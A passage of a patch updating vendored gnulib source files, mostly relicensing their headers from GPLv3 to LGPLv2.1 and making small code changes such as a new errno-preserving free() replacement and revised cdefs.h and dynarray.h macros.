++ ++ if (xalloc_oversized (n, s)) ++ { ++ errno = ENOMEM; ++ return NULL; ++ } ++ ++ void *result = calloc (n, s); ++ ++#if !HAVE_MALLOC_POSIX ++ if (result == NULL) ++ errno = ENOMEM; ++#endif ++ ++ return result; ++} +--- a/gnulib/lib/cdefs.h ++++ b/gnulib/lib/cdefs.h +@@ -2,16 +2,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +@@ -259,10 +259,12 @@ + # define __attribute_const__ /* Ignore */ + #endif + +-#if defined __STDC_VERSION__ && 201710L < __STDC_VERSION__ +-# define __attribute_maybe_unused__ [[__maybe_unused__]] +-#elif __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__) ++#if __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__) + # define __attribute_maybe_unused__ __attribute__ ((__unused__)) ++/* Once the next version of the C standard comes out, we can ++ do something like the following here: ++ #elif defined __STDC_VERSION__ && 202???L <= __STDC_VERSION__ ++ # define __attribute_maybe_unused__ [[__maybe_unused__]] */ + #else + # define __attribute_maybe_unused__ /* Ignore */ + #endif +@@ -320,7 +322,9 @@ + #endif + + /* The nonnull function attribute marks pointer parameters that +- must not be NULL. */ ++ must not be NULL. This has the name __nonnull in glibc, ++ and __attribute_nonnull__ in files shared with Gnulib to avoid ++ collision with a different __nonnull in DragonFlyBSD 5.9. */ + #ifndef __attribute_nonnull__ + # if __GNUC_PREREQ (3,3) || __glibc_has_attribute (__nonnull__) + # define __attribute_nonnull__(params) __attribute__ ((__nonnull__ params)) +@@ -485,9 +489,9 @@ + [!!sizeof (struct { int __error_if_negative: (expr) ? 2 : -1; })] + #endif + +-/* The #ifndef lets Gnulib avoid including these on non-glibc +- platforms, where the includes typically do not exist. */ +-#ifndef __WORDSIZE ++/* Gnulib avoids including these, as they don't work on non-glibc or ++ older glibc platforms. */ ++#ifndef __GNULIB_CDEFS + # include <bits/wordsize.h> + # include <bits/long-double.h> + #endif +--- a/gnulib/lib/cloexec.c ++++ b/gnulib/lib/cloexec.c +@@ -2,20 +2,20 @@ + + Copyright (C) 1991, 2004-2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program. If not, see <https://www.gnu.org/licenses/>. ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + +- The code is taken from glibc/manual/llio.texi */ ++/* The code is taken from glibc/manual/llio.texi */ + + #include <config.h> + +--- a/gnulib/lib/cloexec.h ++++ b/gnulib/lib/cloexec.h +@@ -2,20 +2,18 @@ + + Copyright (C) 2004, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program. If not, see <https://www.gnu.org/licenses/>. +- +-*/ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <stdbool.h> + +--- a/gnulib/lib/close.c ++++ b/gnulib/lib/close.c +@@ -1,17 +1,17 @@ + /* close replacement. + Copyright (C) 2008-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/dup2.c ++++ b/gnulib/lib/dup2.c +@@ -2,17 +2,17 @@ + + Copyright (C) 1999, 2004-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* written by Paul Eggert */ +--- a/gnulib/lib/dynarray.h ++++ b/gnulib/lib/dynarray.h +@@ -1,17 +1,17 @@ + /* Type-safe arrays which grow dynamically. + Copyright 2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Paul Eggert and Bruno Haible, 2021. */ +@@ -257,18 +257,22 @@ static DYNARRAY_ELEMENT * + + #if defined DYNARRAY_STRUCT || defined DYNARRAY_ELEMENT || defined DYNARRAY_PREFIX + +-# include <libc-config.h> ++# ifndef _GL_LIKELY ++/* Rely on __builtin_expect, as provided by the module 'builtin-expect'. */ ++# define _GL_LIKELY(cond) __builtin_expect ((cond), 1) ++# define _GL_UNLIKELY(cond) __builtin_expect ((cond), 0) ++# endif + + /* Define auxiliary structs and declare auxiliary functions, common to all + instantiations of dynarray. */ +-# include <malloc/dynarray.h> ++# include <malloc/dynarray.gl.h> + + /* Define the instantiation, specified through + DYNARRAY_STRUCT + DYNARRAY_ELEMENT + DYNARRAY_PREFIX + etc. */ +-# include <malloc/dynarray-skeleton.c> ++# include <malloc/dynarray-skeleton.gl.h> + + #else + +--- a/gnulib/lib/errno.in.h ++++ b/gnulib/lib/errno.in.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2008-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_ERRNO_H + +--- a/gnulib/lib/error.c ++++ b/gnulib/lib/error.c +@@ -2,17 +2,17 @@ + Copyright (C) 1990-1998, 2000-2007, 2009-2021 Free Software Foundation, Inc. + This file is part of the GNU C Library. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by David MacKenzie <djm@gnu.ai.mit.edu>. */ +--- a/gnulib/lib/error.h ++++ b/gnulib/lib/error.h +@@ -3,17 +3,17 @@ + Inc. + This file is part of the GNU C Library. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _ERROR_H +--- a/gnulib/lib/exitfail.c ++++ b/gnulib/lib/exitfail.c +@@ -2,17 +2,17 @@ + + Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/exitfail.h ++++ b/gnulib/lib/exitfail.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2002, 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + extern int volatile exit_failure; +--- a/gnulib/lib/fcntl.c ++++ b/gnulib/lib/fcntl.c +@@ -2,17 +2,17 @@ + + Copyright (C) 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Eric Blake <ebb9@byu.net>. */ +--- a/gnulib/lib/fcntl.in.h ++++ b/gnulib/lib/fcntl.in.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2006-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* written by Paul Eggert */ +--- a/gnulib/lib/fd-hook.c ++++ b/gnulib/lib/fd-hook.c +@@ -2,17 +2,17 @@ + Copyright (C) 2009-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2009. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/fd-hook.h ++++ b/gnulib/lib/fd-hook.h +@@ -1,17 +1,17 @@ + /* Hook for making file descriptor functions close(), ioctl() extensible. + Copyright (C) 2009-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + +--- a/gnulib/lib/filename.h ++++ b/gnulib/lib/filename.h +@@ -3,16 +3,16 @@ + This file is part of the GNU C Library. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/float+.h ++++ b/gnulib/lib/float+.h +@@ -2,18 +2,18 @@ + Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2007. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _FLOATPLUS_H + #define _FLOATPLUS_H +--- a/gnulib/lib/float.c ++++ b/gnulib/lib/float.c +@@ -2,17 +2,17 @@ + Copyright (C) 2011-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2011. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/float.in.h ++++ b/gnulib/lib/float.in.h +@@ -2,17 +2,17 @@ + + Copyright (C) 2007-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _@GUARD_PREFIX@_FLOAT_H +--- /dev/null ++++ b/gnulib/lib/free.c +@@ -0,0 +1,53 @@ ++/* Make free() preserve errno. ++ ++ Copyright (C) 2003, 2006, 2009-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++/* written by Paul Eggert */ ++ ++#include <config.h> ++ ++/* Specification. */ ++#include <stdlib.h> ++ ++/* A function definition is only needed if HAVE_FREE_POSIX is not defined. */ ++#if !HAVE_FREE_POSIX ++ ++# include <errno.h> ++ ++void ++rpl_free (void *p) ++# undef free ++{ ++# if defined __GNUC__ && !defined __clang__ ++ /* An invalid GCC optimization ++ <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=98396> ++ would optimize away the assignments in the code below, when link-time ++ optimization (LTO) is enabled. Make the code more complicated, so that ++ GCC does not grok how to optimize it. */ ++ int err[2]; ++ err[0] = errno; ++ err[1] = errno; ++ errno = 0; ++ free (p); ++ errno = err[errno == 0]; ++# else ++ int err = errno; ++ free (p); ++ errno = err; ++# endif ++} ++ ++#endif +--- a/gnulib/lib/fstat.c ++++ b/gnulib/lib/fstat.c +@@ -1,17 +1,17 @@ + /* fstat() replacement. + Copyright (C) 2011-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* If the user's config.h happens to include <sys/stat.h>, let it include only +--- a/gnulib/lib/getdtablesize.c ++++ b/gnulib/lib/getdtablesize.c +@@ -2,17 +2,17 @@ + Copyright (C) 2008-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2008. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/getopt-cdefs.in.h ++++ b/gnulib/lib/getopt-cdefs.in.h +@@ -4,19 +4,18 @@ + Unlike most of the getopt implementation, it is NOT shared + with the GNU C Library. + +- This file is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as +- published by the Free Software Foundation; either version 3 of +- the License, or (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This file is distributed in the hope that it will be useful, but +- WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public +- License along with gnulib; if not, see +- <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GETOPT_CDEFS_H + #define _GETOPT_CDEFS_H 1 +--- a/gnulib/lib/getopt-core.h ++++ b/gnulib/lib/getopt-core.h +@@ -4,16 +4,16 @@ + Patches to this file should be submitted to both projects. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/getopt-ext.h ++++ b/gnulib/lib/getopt-ext.h +@@ -4,16 +4,16 @@ + Patches to this file should be submitted to both projects. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public ++ You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, see + <https://www.gnu.org/licenses/>. */ + +--- a/gnulib/lib/getopt-pfx-core.h ++++ b/gnulib/lib/getopt-pfx-core.h +@@ -4,19 +4,18 @@ + Unlike most of the getopt implementation, it is NOT shared + with the GNU C Library. + +- This file is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as +- published by the Free Software Foundation; either version 3 of +- the License, or (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This file is distributed in the hope that it will be useful, but +- WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public +- License along with gnulib; if not, see +- <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GETOPT_PFX_CORE_H + #define _GETOPT_PFX_CORE_H 1 +--- a/gnulib/lib/getopt-pfx-ext.h ++++ b/gnulib/lib/getopt-pfx-ext.h +@@ -4,19 +4,18 @@ + Unlike most of the getopt implementation, it is NOT shared + with the GNU C Library. + +- This file is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as +- published by the Free Software Foundation; either version 3 of +- the License, or (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This file is distributed in the hope that it will be useful, but +- WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public +- License along with gnulib; if not, see +- <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GETOPT_PFX_EXT_H + #define _GETOPT_PFX_EXT_H 1 +--- a/gnulib/lib/getopt.c ++++ b/gnulib/lib/getopt.c +@@ -4,16 +4,16 @@ + Patches to this file should be submitted to both projects. + + The GNU C Library is free software; you can redistribute it and/or +- modify it under the terms of the GNU General Public ++ modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either +- version 3 of the License, or (at your option) any later version. ++ version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public 